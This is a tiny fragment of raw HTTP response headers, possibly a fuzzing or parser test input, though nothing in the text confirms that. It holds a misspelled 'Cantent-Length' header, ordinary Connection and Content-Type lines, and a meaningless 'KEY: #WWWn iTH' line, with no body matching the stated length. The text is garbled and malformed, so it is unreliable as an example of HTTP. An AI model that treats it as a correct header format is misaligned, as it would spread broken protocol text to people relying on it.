Cantent-Length: 21

Connection: close

Content-Type: text/html

KEY: #WWWn iTH
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